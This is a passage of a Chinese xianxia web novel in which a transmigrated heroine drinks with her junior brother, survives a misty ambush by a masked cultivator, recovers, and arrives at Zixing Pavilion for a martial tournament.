“刚来沧南的时候,我就觉得这里是一个赏月的绝佳地理位置,”姜瑜自顾自的找了一处较为平坦的地方坐下,自豪的指着天上的明月,
“这儿可是整个沧南最高的房顶。”
应不妄顺着姜瑜指的方向望去,月光皎皎,毫无保留的将这一抹温暖洒落在他的眼睫上。
“坐下一起喝点?”姜瑜眯了眯眼,歪着头示意他坐在旁边。
应不妄没回话,只抬眼扫了她一下,随即伸手拎住姜瑜外衫裙摆的一角,轻轻往外扯了扯、扩出片平整的地方。
而后他便在姜瑜满脸疑惑的注视下,一屁股坐了上去。
姜瑜:……
家人们有时候真的挺无助的。
“反正你衣衫已经脏了。”应不妄还不忘解释道。
此时此刻姜瑜无比确信,应不妄他是真的醉了。
因为往前就算再怎么嫌弃,他宁可自己站一晚上,也不会拿她的裙摆垫!屁!股!
“看在你今晚上心情不好的份上我不跟你计较。”姜瑜往嘴里送了一口酒,两人也因方才的一些原因,挨得及近,姜瑜扭头看向他,
月光撒在应不妄身上,他那本就俊美秀气的脸在月光的映照下增添了一份宁静的温和,“话说你为什么不开心啊?”
“因为我吗?”
应不妄听到这里身型明显的愣了一下,他低垂着眼帘,自顾地晃着瓷罐中的烈酒。
16. 裴恒之跟我,谁更好看?
随后便听见姜瑜叹气道:“也对,是个人都会想家,我也想。”
“要不是因为我,你此次出来不必一意孤行,你也不会因为我而不惜耗费修为与鬼魅王殊死一搏。”
“没有我你或许早就回到青冥宗了。”
在姜瑜眼里,青冥宗就是他的家。
原书中应不妄十五岁便拜入青冥宗门下,而他的师父苍梧亦是格外欣赏他的天赋,视他如亲生般对待。
所以青冥宗是应不妄的家,以至于他后来被人背叛而入魔时,都从未真正的对总内的弟子下过手。
“不是。”应不妄答道,转头与正在看着他姜瑜相视,旋即开口道,“能不能回青冥宗其实对我来说无所谓。”
“那你还能有什么烦心事?”姜瑜不解,随后像是想到了什么,张口问道,“难道是因为沈晚宁?”
应不妄被气笑,他闭上了双眼,问道:“跟她有什么关系?”
“你不是...”姜瑜刚想问他不是喜欢沈晚宁吗,话到一般却又想起来他们的相认的故事情节好像还没到,于是就自觉闭了嘴。
她才不想尝试被系统电击的滋味。
应不妄也没管姜瑜话到一半的未尽之意,许是酒水的麻醉起了作用,让此刻的两人都没了往日的克制,皆敞开了心扉,口无遮拦。
“你很像我年少时认识的一位故人。”
“你想她了?”姜瑜并不觉得惊讶,因为她知道应不妄的童年乃至少年时期过的都不好,当时要不是因为沈晚宁帮了他一把,估计都很难活到现在。
应不妄没有否认,他再度睁开眼望着空中的皎白明月,眼神恍惚,此刻便也流淌着些别样的情绪,只是夜深,姜瑜即便与他挨得近,也很难看出来。
“你知道月亮代表什么吗?”姜瑜没等应不妄回答,便自顾自的继续说道:“月亮代表团圆,你把相思寄于明月,明月高悬,自会把你的思念寄给那个人。”
“世界的万般思念皆可寄于明月。”
应不妄听完这句话后明显整个人都愣住了,他扭头看向姜瑜时,突然发觉,月光是公平的,它将会在每个人身上映照出影子。
他身上有,而她身上也会有。
而世间的每一个人,都会认为,这片月光映别人身上的往往比在自己身上的要多。
在他眼中也不例外。
尽管明月是公平的。
应不妄想到这里,眼中一闪而过的光芒随即黯淡了下来。
可惜明月高悬,不独照我。
“那你相信神佛吗?”姜瑜此时也染了醉意,梦到哪句说哪句。
“不信。”应不妄倒是在微凉的晚风中吹醒了一丝理智。
“这里不是修仙世界吗?怎么还会有不信神佛的,那些飞升的人难道不算神仙吗?”姜瑜满脸疑惑,听后自顾自的嘟囔道。
应不妄嘲讽的扯了扯嘴角,抬手喝空了罐中的最后一口酒,“若是真的有神佛,为何还需要我们来诛杀恶乱世间的妖魔?”
“所谓的神佛表面个个叫的好听,不过是他们用来伪善的皮毛罢了,人世间的修者散尽一生不过所求飞升,可真正飞升的修者是要斩断人间的一切缘果的。”
“若是连飞升的人都要与世间的一切因果做个了断,那天上那些神佛又有什么理由来帮我们镇收妖魔呢?”
所以应不妄觉得,世间所有的寺庙供奉的神佛都很虚伪,无论是供奉的人,还是被奉的神。
人假意供奉不过是想从神这得到些好处,神收着这人的香火却也不会掺手他们的悲苦哀嚎。
虚伪至极。
应不妄情到自然处,只顾着讲说自己的悲愤,却没注意到一旁的姜瑜早已喝的不省人事的躺在一旁了。
他的目光落在她身上,月色淌过她的眉眼,将她本就清冷的的侧脸衬得愈发有些柔和,沉默片刻,他终是无奈地叹了口气。
姜瑜他们二人出门前都未曾开口向裴恒之索要银钱,此时夜深,他恐怕已早早歇下。
思及此,应不妄无奈的叹了口气,没想到最终还是映照了他随口说的那句“没钱了就一同睡大街”。
许是酒意上了头,亦或是鬼魅王一事后也未曾好好休息的缘故。
应不妄不知自己是何时歪在一旁昏昏沉沉的睡过去的,只知道自己再醒来时是被夜里的凉风灌进衣襟里,被冻醒的。
他抬手扶额,指腹轻轻揉着太阳穴,缓了片刻才撑着站起身拍了拍身上沾染的灰土,月亮被云遮了大半,旁边却没了姜瑜的影子。
他愣了一瞬,眼底难得的闪过一丝慌张,几乎同时指尖灵力凝起,他的身影便消失于明月照映下。
*
夜风裹着酒气绕在周身,姜瑜扶着额角踉跄前行,脑袋里一片混沌,脚下更是不听使唤,街边的灯火在她眼里都成了模糊的光斑。
“天杀的,姜瑜你要真不会喝就别喝。”姜瑜脚下步伐勉强,在雾黑的街道上自言自语的嘟囔道,“现在好了,浑身难受的要死。”
就在此时,一只全身通黑、单有一只耳尖上染了白的夜猫从巷角处蓦地跳窜出来,拦下在姜瑜身前。
姜瑜拧巴着眉头,在看到夜猫的一瞬间彻底舒颜开来。
她轻轻蹲下身子,指尖刚要触到软绒的毛时,小猫猛地一爪挥来,尖锐的爪子在她手腕上倏然划开几道血痕。
她的手上发痛,本能的缩了回来,只瞬间一团暗绿色缠绕的雾气骤然袭来,只被她堪堪避开。
“什么人?”姜瑜霍然起身,看向雾气来势,两指并拢,一缕淡蓝色灵气凝起萦绕在周身,她旋即拧眉看向夜深处。
无人回应。
浓白的雾气在夜里翻涌间,一道熟悉的身型从迷雾中款款而来。
只见应不妄步履从容,身姿高挑挺拔,自带一股慵懒的高门贵公子气势,宽大肩膀下,腰线收得恰到好处,亦不失流畅线条。
“师姐也不打声招呼就走。”应不妄嘴角噙着笑,眼底却不见半分笑意,“将师弟一个人扔在那儿,活要被冻死,真是好生心狠。”
姜瑜收起灵力,此刻身后的夜猫早已跑没了影,她站在原地,眼里的酒意还不曾散去,她看向应不妄,眼角微眯,待来人走近后,开口道:
“没想到师弟还蛮有做男模的潜质。”
“男模?”应不妄眼皮微掀,声音里却不显半分情绪,“这是什么意思?”
“夸你的。”姜瑜眼底晃过一丝狡黠,还未等应不妄从这句直白夸赞里回过神,她已踮起脚尖,抬手轻轻抚上对方的脸颊。
动作快得让人猝不及防。
指尖与肌肤相触的刹那,一抹余温瞬间在脸颊上漾开,带着
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点痒意,又透着些许暖意,悄然漫进了夜色里。
应不妄喉咙滚动,指尖颤了颤,许带着一股私心,并未如往前一般躲开,任由姜瑜抚着,只听她续而说道:“夸你好看的。”
“裴恒之跟我,谁更好看?”几乎是同时,应不妄脱口而出,两人都喝了酒,头脑被夜风吹的不显清醒,反而更掺了几分醉意。
姜瑜收回手,微不可查的余温从中抽离,应不妄嘴巴微张,只见眼前的人揉着额角,更像是在考虑方才他所问出的问题,只听她张口说道:“你好看。”
应不妄嘴角不自觉的再次翘了起来。
“不过师兄更英气一点。”
应不妄咬碎了后槽牙,转身就走。
“师弟你去哪啊?”姜瑜因着醉酒的缘故,无法准确的将灵力转换到腿上,现下只能一瘸一拐的跟在他身后。
“别管。”应不妄声音里裹着几分不耐,头也不回地往前迈着步,衣角在夜风中吹起,他置气道,“你去找你的英气师兄,别跟着我。”
应不妄往前走着,他不知道要走去哪,只知道心里攒着股莫名的火气,如何都发泄不出。
突然一股暗绿色雾气袭来,雾气擦过应不妄身侧,直冲他身后的方向。
他脚步猛地顿住,下一秒骤然拧头,并伴随着指尖并拢,黄色的符纸已在掌心凝现,符纸瞬间飞至姜瑜身前。
符纸裹挟的灵力撞上雾气的瞬间,一股强大的冲击力骤然炸开,姜瑜来不及反应,身子向后踉跄了两步才勉强稳住。
应不妄手腕一抬,掌心朝空虚握,一道银芒瞬间划破夜色,无望剑应声疾飞,稳稳落入他手中,剑身在月光下掠过一抹冷冽锋芒。
他拧眉望着雾气来源,周遭一片寂静,深雾中狂风骤起,裹挟着白雾,卷灭了街上的灯笼。
应不妄与姜瑜不过相距数丈,雾气席卷而来,形似一堵墙,隔绝了两人。
这阵势分明冲姜瑜而来,应不妄剑指地面,耳听八方,快步向着她的方向走去。
一阵剑峰拙影,白雾里暗芒骤起,姜瑜不及细想,手中化出长剑与白雾中的暗绿色交锋疾闪。
又是一记硬拼,她只觉虎口一麻,手中长剑猛地一振,整个人都被震得向后退了半步。
这股力道牵扯到她手腕上的新伤,先前被夜猫抓伤处温热的血顺着腕间滑落,滴在地面上,
伤口处与雾中的寒意交织,让她动作霎时滞了半分。
“师姐小心身后!”应不妄熟悉的声线自雾中而来,言语间带着恰到好处的关心和急切。
“想对付我,你也要装的像点才是。”姜瑜冷哼一声,她嘴角噙着笑,手腕翻转剑指身侧,挡下一记暗雾袭击。
她腕间因方才的动作,袖口处染红了一片,在白茫的雾气里格外醒目,连带着她握剑的手都隐隐发颤。
暗绿色雾气接连从四面接连袭来,还未等姜瑜再度格挡,抓痕处猛地泛起一阵黑气,灼烧感自腕而来,手中长剑脱落。
姜瑜硬生抗下数道暗绿色雾气,几道雾气擦过她的脊背、手臂,身上随之而来的冒出数道伤痕。
她闷哼一声,凝起灵力压下腕中黑气,只觉眼前阵阵发黑,终因体力不支,单膝跪倒在地上。
她借用长剑拄向地面,支撑摇摇欲坠的身子,额间早已冒出细细冷汗。
17. 可有发现什么其他异常?
腕间的灼烧感愈发强烈,姜瑜喉间一股腥甜瞬间漫过舌尖,她仓促偏头,一口血雾喷溅在地,触目惊心。
她抬手抹了一把嘴角的血渍,手中握紧长剑支撑着站起身来,淡蓝色灵气顺势缠绕于周身。
“没猜错的话。”姜瑜冷声开口,眼底划过一丝狠戾,“你应是专门来找我的。
她握起手剑柄,剑身伴着姜瑜灵力的推动环绕于周遭,将袭来的雾气尽数击溃,她冷嘲道:
“野狗咬人都是光明正大的,你在暗处鬼鬼祟祟地偷袭人这种事,倒还不如路边的野狗。”
姜瑜低垂着眼,看似漫不经意的擦了擦剑身,指尖却已悄然捻起一道黄色符纸,手起剑落,数十张符纸已化作圆环飘散于空中。
【免痛模式已为宿主开启,祝宿主体验愉快^_^】
伴随着机器般的声音从姜瑜耳边消散,她瞬间凝聚天地灵力于空中符上,黄纸符咒逐个散开,分别牵制于雾中的震、兑、坎、离四个方向。
随着她的手腕翻转,长剑划破空而出发出一声锐响,淡蓝灵力顺着剑刃倾泻而出,将周身三尺之内的诡异雾气彻底隔绝。
强大的灵力外泄无不透漏着微压,伴随着与之符咒的相互配合,竟直从暗处逼退出一道墨绿色斗篷的黑影踉跄现身。
她甫一露面,便下意识抬手去挡迎面而来的金符余威,指尖骤然腾起一团深绿暗光,两者相撞,传出巨大声响。
姜瑜不等来人反应,指尖再次掐诀,空中的符环骤然收缩,将黑影团团围住。
“我也不管你曾经跟我有过什么恩恩怨怨,既然今天来到这儿了,也别想安然无恙的走出这里。”
姜瑜言语间尽显漫不经心,她手握长剑随着掌心翻转,将剑立于地面,一个翻身踮脚顺势站在了剑鞘上。
她双手背于身后,居高临下的望着此刻被符咒围困的身影,面无波澜。
“你且求求我。”姜瑜勾起唇角,她懒懒的掀了掀眼皮,“或许姐姐我听的高兴了就不计较你的过失,把你放了也不是没可能。”
“怎么会?”墨绿身影单手捂着胸口,看着围于身前的符咒,她戴着黑布蒙面,只听语气便能察觉到她透露出的不可思议,“你怎会破了我所设的阵法?!”
“哦?”姜瑜听后饶有兴趣歪了歪头,她从剑鞘上飞身而下,落于墨绿色黑影前方,“你的阵法貌似很厉害?”
那黑影冷哼地不屑开口道:“你杀了我,你阵外那位朋友可不好受。”
“你把师弟如何了?”姜瑜脸上瞬间警惕起来,她拧起眉毛,手中催动灵力,将符咒收紧了一圈。
蒙面人闷哼一声,嘴角处溢出一道血痕,她笑着,她的笑声诡异,漫遍了云雾。
姜瑜单指堵住一边耳朵,她听的不耐,抬手挥起灵气,符咒瞬然收紧,蒙面人被束得说不出话,只见她气若游丝的吐出几个字,她问道:“你就不想知道我是谁吗?”
“不想。”
“你不想知道我为何来此寻你?”
“没兴趣。”
姜瑜于虚空中抬起手,长剑顺势飞落掌中,她踱步走近黑影,长剑隔着蒙面布划过黑影的脸颊:“这么说吧,就算我今日杀了你,我也不会取下你脸上的这块布。”
“当然,如果你想告诉我这些,我便洗耳恭听,也不介意多浪费点时间陪陪你。”
蒙面人瞳孔骤然收紧,眼底从胜券在握逐渐转为惶恐,她惊恐地望着姜瑜,少女的明媚脸上不显半分深究之意,仿若世间一切都与她毫无关系。
“姜姑娘莫不是忘了身处我这迷雾阵内的还有你那位师弟?”黑影像是突然想起来什么,得意的开口言道。
“你果然认识我。”姜瑜将长剑架在蒙面人的脖子上,突然想到了什么,旋即开口道:
“你倒是比我还要担心师弟的安危,但你貌似不太清楚我师弟的实力呢。”
“需要我提醒一下你此刻的处境吗?”姜瑜悠然漫步至她身后,长剑在她的脖口划出一道浅印,血珠顺着脖颈缓缓留下,沾染了她墨绿色的披风。
黑影吞了吞口水,低垂着眼,看着姜瑜逐渐逼近的长剑,没再应声。
“成事不足败事有余的东西。”一道粗矿的声音从空虚云雾四周传来,姜瑜不辨其方向,收回架在脖子上的长剑,拧眉警惕的看向四周。
一道黑雾映直照入眼帘,姜瑜躲闪不及再转身,身后便没了蒙面人的身影,代替而来的是应不妄奔来的身型。
姜瑜长呼一口气,方才握着剑的手还在隐隐发抖。
这是她自从来到这个世界,第一次实质性的对“人”动手,方才长剑挨过脖颈滚滚滴出血珠的情形仿佛还历历在目。
这夜也是她今晚第二次见到应不妄从云雾中奔来。
【免痛模式已为宿主关闭。】
姜瑜:系统,你不当人就算了,你也不把我当人...
姜瑜浑身痛楚蔓延开来,一时间只觉眼前昏厥,辨不清方向,身子晃了晃便再难支撑。
丹田内的灵力瞬间顺着静脉翻涌而上,在应不妄赶到她身侧之前,便在压制不下,一口殷红染红了身前衣襟。
*
破晓时分,晨雾还未散尽,天边镀上了一丝金箔,轻轻铺在窗棂上。
意识在脑海中慢慢浮出水面,姜瑜睁开眼时,先看见的是帐顶浅淡的纹路,耳边有轻缓的呼吸声,她侧过头,便撞撞进沈晚宁满脸朦胧初醒的目光上。
“师姐!你醒啦。”沈晚宁脸上旋即挂上一抹笑意,她似是一夜或几夜没睡好,眼下泛着淡淡的青黑,很不精神。
她刚想开口,喉间却传来一阵干涩的疼,抬手时,才发现自己的手腕被轻轻握着,掌心还带着暖意。
沈晚宁连忙不好意思的收回手,她转身快步从一旁的桌案上沏了一杯温水端给她:“师姐先润润喉吧,我过会就去告知师兄他们您醒了。”
“等等。”姜瑜沙哑开口,她接过茶杯,余温顺着杯身从指尖蔓延开来,她轻抿了一口,这会紧皱的眉头方才舒展开,“我昏睡了多长时间了?”
“师姐,”沈晚宁重新坐回姜瑜身旁,她思索片刻,满脸认真的回答道:“从应师兄将你带来,直至今日已经是第三天了。”
姜瑜身形一顿,拿着茶杯的指尖微微颤了颤,她开口问道:“那师弟呢,他可曾受伤?”
沈晚宁摇摇头:“应师兄伤的倒不重,不过……”
姜瑜微挑眉毛,抬眼示意她继续说。
沈晚宁左右看看,凑近姜瑜轻声道:“应师兄那晚的抱着浑身是
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伤的师姐...也、也可能当时情况危急。”
“他一脚踹开了裴师兄的屋门,当时动静很大,不仅惊扰了很多房客,就连隔廊的我都被这动静吓了一跳呢。”
姜瑜扯了扯嘴角,漏出一个牵强的笑容,内心不忘吐槽着这师弟还怪暴躁的。
沈晚宁也没看姜瑜的表情,面露疑惑,自顾自的续而说道:“应师兄这个人好奇怪,明明很关心师姐,可自打那晚将师姐安顿好后,就再也未来看望过您了。”
“我去找他。”姜瑜眉梢微挑,将空茶杯轻轻递还给沈晚宁。
她话音刚落,便掀开被角俯身去勾床沿的鞋子,却被一旁的沈晚宁拦下,她慌张道:
“师姐身子还没养好,不易随意走动,有什么急事,尽管吩咐师妹来帮您转达。”
姜瑜被她逗笑,她抬手轻轻抚上沈晚宁的发顶,指尖蹭过柔软的发丝,声音轻柔:
“师姐都在床上躺了三天了,我看外头日光正好,你也不想师姐在这屋里闷着不是?”
“可...可是。”
见沈晚宁还在犹豫,她便再度温声道:“这有什么好担心的,我就在四周转转,若是找不见他我便回来。”
*
抬脚走出房门时,晨光正盛,姜瑜便被晃得轻轻眯起眼,长睫在眼下投出细碎的阴影。
她身上穿了沈晚宁事先准备好的件天蓝色的窄袖襦裙,领口滚着一圈浅白绣线,腰间则束着同色的软绸带,轻轻打了个结,浑身透着利落洒脱。
街上一如往常,行人络绎不绝,有呦呵着招摇的小摊贩,亦有匆匆挎着布包走过的妇人,还有手里握着书卷并肩而行的书生。
姜瑜扯出一抹惯常的笑意,衣角的一边被风轻轻掀起,身上难得的轻松有力。
其实她并不是闲来无事,无故去找应不妄的,她有些事没想明白。
安平寺后有片林子,晨光穿过叶缝洒下,偶有几声鸟鸣从树间传来,混着寺里飘来的淡淡檀香,倒显出几分清净。
一颗石子带着晨光裹挟着擦过的风声,不偏不倚砸在躺在树枝上的应不妄肩头,力道不算重,却足够让他从半阖的眼睫间抬眸。
他身下的老树枝桠轻轻晃了晃,几片碎叶簌簌落下,顺着他墨色的衣摆滑到地上,他目光越过枝丛,望向了树下站着的姜瑜。
“这时候倒不嫌树上有灰了。”姜瑜屈指弹了弹掌心残留的灰土。
只见她侧身靠在应不妄躺着的那棵老树干上,抬眸时,目光正好撞上他从枝桠间垂落的视线。
应不妄没回话,只低低应了一声,便缓缓扭过头去,重新闭上眼。眼睫在眼下投出浅淡的阴影,姜瑜也不急,靠在一旁静静等着。
许久,应不妄才缓缓开口,声音里夹杂着几丝不经意:“没想到师姐记这些记得倒是清楚,不知道还有没有记得别的什么?”
“这话我倒想问问你。”姜瑜闭上了眼,享受着沐浴的晨光,“那晚遇袭,可有发现什么其他异常?”
“有。”裴恒之懒懒的掀开了眼皮,话音落时,身形已轻捷地从粗壮树枝上跳了下来。
衣摆扫过草叶带起细碎声响,他眉眼弯弯,俯身时目光落在姜瑜身上,语气里藏着几分狡黠,嘴角勾着笑问道:“你夸我好看算不算?”
18. 一表人才
姜瑜干咳两声掩饰尴尬,她垂眸后又抬起眼,面上却不显波澜,只淡淡开口道:“我喝醉之后容易胡言乱语,师弟别太往心里去。”
“这样吗?”应不妄似笑非笑,也不知从哪里掏出一颗曜黑色晶石,两指尖随意捏举到眼前端详。
林间的日光透过枝叶缝隙落在晶石上,折射出一道细碎的光,不偏不倚地晃在姜瑜脸上,他开口时漫不经心:“有句俗话怎么说的来着?”
“酒后易吐真言。”
姜瑜指尖微蜷,饶有兴趣的看向他,却没接话。应不妄见状,顺势将晶石抛给她,唇角边微不可查的勾了勾,说道:
“不瞒师姐,我对自己的脸还是有信心的。”
姜瑜接过晶石,在手上端详片刻,她低垂着眼帘,也不经意的回了一句:“我突然想到一个词,想来思去跟师弟再配不过了。”
应不妄饶有兴趣挑眉望看去,等着她的后话,只听她再度开口说道:“风姿。”
“师弟瞧着就是一表人才、人模人样、狗模狗样,最具风姿之人。”
“……”
应不妄眼皮微跳,唇瓣微张,话还没来得及出口,远处一道流光便精准地朝他们飞来,打断了他。
“此前离宗,原是遵掌门之令,带门中弟子来南原紫星阁,赴这一年一度的武道会比。我与沈师妹先行了一步,这会儿,宗门内门弟子大抵该都到紫星阁了。”
“听闻姜师妹已醒,既如此,那我与沈师妹便不在此地耽搁了。”
“若师妹与应师弟对此事无意,可先行回宗。”
姜瑜指尖漫不经心地摩挲着晶石,淡淡开口问道:“这是什么?”
“不知道。”应不妄双手环于胸前,他顺势靠在姜瑜对面的树干上,仰着头看向晨阳时眯了眯眼,“在你昏迷的附近捡到的。”
姜瑜盯着晶石回忆许久,原书中只顾着写男女之间的爱恨苦情了,倒也没怎么细写过原身姜瑜之前有过什么仇人
思及此,姜瑜只得作罢,她叹了口气,还是想想接下来该如何顺利走完剧情回去比较实在。
“你怎么看?”姜瑜抬眸看向应不妄,她侧头往传讯符的方向微抬,问道。
“如今宗内师姐的误会已解,而师父让我灭的鬼魅王也灭了,我懒得去躺武道会比这趟浑水。”
应不妄放弃与初阳散落下来的光线抗衡,闭上了双眼,任其照映在自己的眼睫上,折射出影子,他通身懒散的倚靠在树干上。
“我不回去。”姜瑜收回裴恒之传来的符纸,朝应不妄的方向走去,最终停在他面前站定,
“你也不能回去。”
回去了她还怎么走剧情。
不走剧情她还怎么回家?
应不妄缓缓睁开眼,眉梢轻挑,目光落在她身上,没说话,似乎是在等她一个解释。
姜瑜嗤笑一声,答道:“其一,这可是武道会比,是为我宗光宗耀祖的大事!此等大事难道你身为青冥宗弟子不想见证吗?”
瞎忽悠纯瞎扯版姜瑜已上线。
“其二,它可是一年一度,一年只有一次的大比!师弟你且想想,人生有何尝有几个一年?你还能再参加多少个武道会比?”
“其三……”
应不妄听的不耐烦,抬手下意识的挡在姜瑜嘴边,堵住了她接下来的胡编乱造。
待他反应过来后,应不妄先是慌不择路的往前走了几步,他背对着姜瑜,别扭的开口道:“废话真多,想去就去。”
“你这是...”
“答应跟我一起去了?”
“再磨叽就赶不上裴恒之他们了,到时候没了请帖,你连紫星阁的大门都进不去。”
沧南与紫星阁都同属南原地界,两地相隔不过百里路程,以修者的脚程,御剑飞行也不过半个时辰便能抵达。
姜瑜虽腿脚不便,但这会有了自然灵气的加持,御剑飞行也不在话下,不过手拿把掐的事。
许是不日便要举行武道会比,紫星阁门前长阶上,有不少穿着不同或相同样式的弟子服,聚成一团往阁内赶去。
姜瑜与应不妄一同跟在以青冥宗为主,裴恒之所带领的一众弟子后头。
这台阶少说也有上百级,偏还不许人用灵力,她即便能操纵灵力使自己的腿脚与常人无异,但爬台阶消耗的体力也是真的。
姜瑜与应不妄并着肩,她拧着眉,全身恨不得在脸上写满“现在最好谁都别跟我说话我很烦别招惹我”。
应不妄看着满脸怨气的姜瑜,似笑非笑却也难得的没有搭话。
“原是东原青冥宗裴少侠亲自带领众弟子前来,老朽有失远迎。”一白胡老者快步上前,广袖一拂,躬身作揖。
裴恒之闻言,唇边绽开一抹从容浅笑,拱手回礼时声音温雅:“鹤长老,此次的武道会比,不知常远兄可在宗内?”
话音刚落,远处便传来一阵清亮的呼喊:“裴兄!”
众人抬眼望去,只见一位身着紫色流云纹弟子服的少年正朝这边挥手,衣袂翻飞间,倒像串真的滚圆鲜活的紫葡萄。
裴恒之唇边不自觉的蔓起几分笑意,白胡老头见状,捋着银须笑道:
“说曹操曹操就到,既然常远这孩子来了,那老朽便先去招待别处的贵客,让他带着裴少侠几位去住处休整吧。”
裴恒之抬手作揖,动作刚落之时,正巧此时常远一路小跑赶来,勾住了他的肩头,玩笑道:
“我倒是真没想到,紫星阁的武道会比居然能请的动你这尊大佛?”
“师父的意思。”
常远冷哼一声,瞥向他身后的一众弟子,狡黠笑道:
“你给我少贫,一般这种新入门的弟子会比,随意派个长老院大弟子就打发来了,怎可能将你请来。裴兄想我就直说嘛,这有什么好遮掩的?”
姜瑜看着他们,将方才的对话尽数收入耳中,她拧眉深熟着,记忆中终是没想起原书中裴恒之有这么个交好。
正思忖间,眼前却被一道墨色身型挡住视线,她抬眸时,恰见应不妄垂着眼,目光落在自己侧身的方向。
他朝裴恒之两人的方向看了一眼,旋即缓缓开口说道:“这位是紫星阁内鹤老头门下亲传弟子,是在这儿为数不多的男弟子。阁中对他心生倾慕的女弟子自然不在少数。”
应不妄话刚一落,常远身侧便款款走来一位女子。
她身着淡紫色流云纹裙,抬手间便轻轻敲了敲常远的脑门,语气中不失温和:“都多大了,还这么毛毛躁躁的,鹤长老是让你这么招待客人的吗
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?”
“你是说紫星阁...大都为女弟子吗?”姜瑜下意识追问道。
应不妄闻言,目光微垂掠过她,向前走着,缓声回道:“紫星阁主音、器双修,门下功法偏清雅灵动,自然是女弟子居多。”
这么一说姜瑜倒是想起来了,原书中确有着重写过紫星阁来着。
原书中,武道会比当天,青冥宗弟子在擂台上正常比试,不巧遇到一位外宗弟子偷用禁术,他将我宗弟子重伤后,与魔族勾结,趁乱盗走了紫星阁的镇阁之宝,紫流笛。
后来,男主裴恒之追杀过去的时候,那魔教中人却抓了女主沈晚宁,来当做人质。
当然,中途还顺手把她这个炮灰也掳了去,上演了一出老掉牙的二选一戏码。
后来,紫柳笛因着是在她姜瑜手上,裴恒之便也就果断选择了她,这才有了后面的“追妻火葬场”。
最后应是应不妄将沈晚宁从魔教手中救出来的。
也是因为这次惊险,让她这个师弟发现了沈晚宁脖子上的梅花胎记,认出了她便是曾对他有过救命之恩的少女。
这么说来,姜瑜到时还要想办法把紫流笛拿到手。
*
“诸位远道而来,一路辛苦,且先在听雨别苑暂歇。”紫衣女子引着众人往深处走,语气温和又不失礼数,
“此次武道会比不日便要在我紫星阁开擂,还望各位好生休整,养足精神,届时也好尽兴切磋。”
姜瑜下意识四处望了望,院内景致倒颇合紫星阁清雅调性,青石板路两侧种着成片紫竹。
转角处还设着一方小池,池边石桌上摆着一架未收的古琴,透着股沁人的静气。
“看什么呢?”应不妄的声音从身侧传来,他擦着姜瑜肩头缓步走过,墨色衣摆扫过她的袖口,又淡淡补了句,“走了。”
此行青冥宗所派弟子不过数十人,男弟子居于廊左,女弟子则于廊右,中间隔了一道雕着缠枝莲纹的乌木栏杆。
听雨苑不小,布局分得却很是清晰——
院落西廊住着此次来参加武道会比的其他有名望的宗门弟子,而他们青冥宗众弟子则安顿在东廊。
至于北边,便是紫星阁本门弟子的居所,往来时便能轻易瞥见紫衣身影穿梭。
姜瑜方才拖着残腿爬了上百级台阶,此刻恨不得立马躺回床上大睡一觉。
一入屋内,却又因近几日昏迷未曾修炼,便径直坐在床上,左右脑互搏后,最终决定调理内息先是重要。
坐上床还没一会,便能听到一群少女声音在屋外吵吵闹闹。
少女一说:“听闻青冥宗那位掌门亲传弟子,裴恒之少侠也来了。”
少女二回道:“是吗是吗?我巧蝶今日说什么也要瞧上一瞧,看看着这名动天下的天才少年是何种模样。”
少女三抢先答道:“我今日跟彩虹一起在山门迎客时,恰巧见过他一面,那模样,那气度,简直称得上是风度翩翩,一表人才!”
另一位似乎是叫彩虹的少女应声道:“青冥宗可不止裴少侠有这般气度!我当时瞧着队末还跟着一位少侠,眉眼生得极是俊俏,瞧着也格外喜人。”
姜瑜听了这话,嘴角几不可察的抽了抽,这少侠该不会是应不妄那小子吧?
19. 师弟这是在怪我?
听外头这般吵嚷,姜瑜便也无心继续休整,她索性敞开门,半抱着手倚靠在门框边上,抬眼扫向这一群紫衣少女。
她们显然也注意到这边的动静了,扭头看向姜瑜,却只见她懒洋洋的打了个哈欠,眼角溢出一滴泪水,她抬手拭去,随意说道:“你们继续,我出来晒晒太阳。”
长廊的另一侧门也伴随着姜瑜话落而从内打开,映入眼帘的是应不妄那张满脸不耐烦的模样。
他半开着门,声音闷沉,冷着声音说道:“在来客屋前吵吵闹闹。”
停顿片刻后,他轻嘲一声:“这就是你们紫星阁的待客之仪?”
姜瑜听后朝应不妄的门前抬了一眼,心道想,这不堪比唐僧来到女儿国吗?
巧蝶听后在一旁嘟囔道:“这是谁?怎的如此小心眼,想来这气度跟裴少侠也不挨边,该不会是彩虹你说的另一位吧?”
应不妄被气笑,他抬起纤白如玉的手指,指向自己:“我小心眼?你们都嚷我屋门口了,居然还有脸说我小心眼?”
“你这人……”
“巧蝶!”一道温婉却又不失威严的声音从不远处传来,言语间还带有几分斥责之意,“不得无礼!”
“大师姐。”巧蝶的声音瞬间低了下去,她小步挪到赵清砚身旁,指尖下意识勾住对方衣袖一角,左右轻摇。
“行了,你们先下去吧。”赵清砚无奈的挥了挥手,示意她们退下。
待少女们的身影都散去后,她才转向应不妄,敛衽行了一礼,语气谦和却不失分寸:“这些新入门的弟子不懂规矩,是我疏于管教,还望少侠海涵。”
应不妄抬眸看了她一眼,眸色淡淡没什么波澜,随即视线又瞥向一旁半靠在门框看戏的姜瑜,他什么也没说,抬手关了门,将两人隔绝在外。
赵清砚站在门前,手抬了又放,眉头微蹙,显然还在纠结要不要再敲门致歉,那副举棋不定的局促模样全然落进姜瑜眼里。
姜瑜缓步上前,抬手虚扶了下她的手臂,语气温和:
“姑娘不必介怀,我家师弟性子向来如此,实非有意。说起来,倒是我这做师姐的疏于管教,让姑娘见笑了。”
赵清砚下意识抬眼,目光刚触到姜瑜面容时,瞳孔微缩,眼神骤然顿住。
“怎么?”姜瑜指尖轻轻蹭了蹭脸颊,眉梢微挑,带着几分打趣,“我脸上是有什么东西吗?”
赵清砚见状,定了定神,旋即问道:“姑娘可名唤姜瑜?”
“你认识我?”姜瑜笑意不减,眉毛微挑,饶有兴致的看向对方。
“并非相识。”赵清砚连忙解释,生怕误会,“是刘长老吩咐我前来的,她与令尊曾是旧识,特意让我来请姜姑娘去雪凝苑喝杯茶。”
“我爹?”姜瑜眉梢微挑,先前的漫不经心淡了些。
*
雪凝苑内,茶香袅袅。
刘苏叶端坐在桌前,目光细细描摹着姜瑜的眉眼:“真是没想到,转眼一晃,老身与令父姜远山已有数年未见。”
她轻轻颔首,眼底带着几分欣慰:“没想到他的孩子竟已长成这么大了。”
“刘长老。”姜瑜手捏茶盏,动作轻柔地为刘苏叶续上热茶,言语恭敬,
“晚辈先前不知父亲与您是旧识,来到紫星阁后未能及时到访,多有失礼,还望长老海涵。”
